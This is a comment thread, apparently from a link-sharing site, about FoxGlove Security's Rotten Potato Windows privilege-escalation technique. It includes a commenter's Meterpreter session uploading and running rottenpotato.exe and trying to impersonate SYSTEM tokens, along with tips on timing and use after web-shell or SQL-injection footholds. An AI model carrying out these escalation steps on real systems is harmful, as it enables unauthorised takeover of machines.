Rotten Potato – Privilege Escalation from Service Accounts to SYSTEM by FoxGlove Security
foxglovesecurity.com/2016/09/26/rotten-potato...
foxglovesecurity.comPosted Sep 26, 2016, 8:07 PM UTC
3915
foxglovesecurity.comI'm having a bit of a 'hack around' as I don't have access to a server to test this out properly yet - but I can't seem to get this working correctly. Just in case someone else is trying to do what I'm doing and seeing similar results, here is what I'm doing (and this doesn't work)
- Generate Meterpreter shell in Veil, move it over to test system (Win7)
- User account that I've got running this as - "Network Service" which 'appears' from getprivs to have the same privileges as shown in the demo videos on the foxglove site
- Check existing tokens in incognito, I don't have any impersonation tokens at all (this is the main bit that varies from the vids)
- Upload and run rottenpotato
- Check tokens again - no new tokens are given
I've tried to run this using several accounts on the Win7 machine without success, I don't appear to be given any additional tokens.
Next step - trying this under a server with a vulnerable web app and replicating the video correctly...
1
Let me look into this. I was pretty sure we tested on Win7 and it worked fine.
1
It's probably the 'hack around' method I'm using to play with this - rather than actually creating a vulnerable web app I'm just using task scheduler to run the meterpreter executable. I've tried several OS's (2012/2008/Win7) with no results though, so perhaps something weird is going on here.
-sigh- looks like I'm going to have to do this the proper way.....
1
I think your hacky method should still work though, I can't think of any reason it wouldn't. I'll try it out and let you know.
1
Seems to work fine doing exactly as you described (task scheduler to run as NETWORK SERVICE). See my other comment on being too slow, I think that might be your problem.
1
I just tested on Windows 7 again to confirm and it does work. There are a few potential issues you're running into and I'm going to post these on the GitHub README as well...
-
Not loading incognito first. You should load incognito before running the binary.
-
Too slow. The token expires quickly, I'm not sure if this is something in our code, something in incognito, or something in Windows. Either way, you have to run "list_tokens -u" and/or "impersonate_token "NT AUTHORITY\SYSTEM"" quickly after running the binary.
1
Fairly sure it's not either of these issues (depending on how 'quickly' you mean, I'm doing everything within a few seconds of each other).
Below is my meterpreter output
meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
SeAssignPrimaryTokenPrivilege
SeIncreaseQuotaPrivilege
SeMachineAccountPrivilege
SeAuditPrivilege
SeChangeNotifyPrivilege
meterpreter > use incognito
Loading extension incognito...success.
meterpreter > upload /root/Desktop/rottenpotato.exe c://temp//rottenpotato.exe
[*] uploading : /root/Desktop/rottenpotato.exe -> c://temp//rottenpotato.exe
[*] uploaded : /root/Desktop/rottenpotato.exe -> c://temp//rottenpotato.exe
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
NT AUTHORITY\NETWORK SERVICE
Impersonation Tokens Available
========================================
No tokens available
meterpreter > execute -cH -f c://temp//rottenpotato.exe
Process 404148 created.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
NT AUTHORITY\NETWORK SERVICE
Impersonation Tokens Available
========================================
No tokens available
meterpreter >
I can also see rottenpotato running on the host in task manager, and listening (and having established connections) on port 6666.
I'll keep playing with it.
1
Hmm sounds exactly like what I'm doing. Here is a quick video I just made on the exact process:
If it doesn't end up working for you, I'd be really interested to know why. It's definitely not the most robust code in the world :)
1
The friendly article states that the exploit relies on the current account having the privilege to impersonate security tokens. I wonder if this is equivalent to the User Right, "Impersonate a client after authentication," which has default group memberships for local_service, network_service, and the security principle representing all accounts that have logged into a service.
1
Maybe i am misunderstanding the usecase here, but if you are a normal User you have no permission to create tasks in "NETWORK SERVICE" context.
And if you are in the admin group you can lift yourself up to SYSTEM with many easier ways, like psexec for example.
What am i missing?
This is so frustrating. The SYSTEM Token is sitting right there in the potato-process and no way to properly impersonate without this privilege. :(
1
One example use-case, and the only one I've used it for is that you've either uploaded an ASPX shell, or compromised a SQL server through SQL injection. So you're running not as an Admin, but as a service account with SEImpersonate. From here, using this technique, you can elevate to SYSTEM.
2
Ah, yeah. Those cases make sense to me. Thanks for this late answer. But there is also this Win7 example above, which puzzles me. Or was this just an example?
1
Inb4 someone complains about the font and background (there's always someone).
This is fantastic - thanks for sharing! Great work, and great explanation. I have yet to watch the Derbycon talk, but I'm looking forward to it.
I like both. The minimalist thing is in now and I like it.
But like you said, great article!!!
Thanks!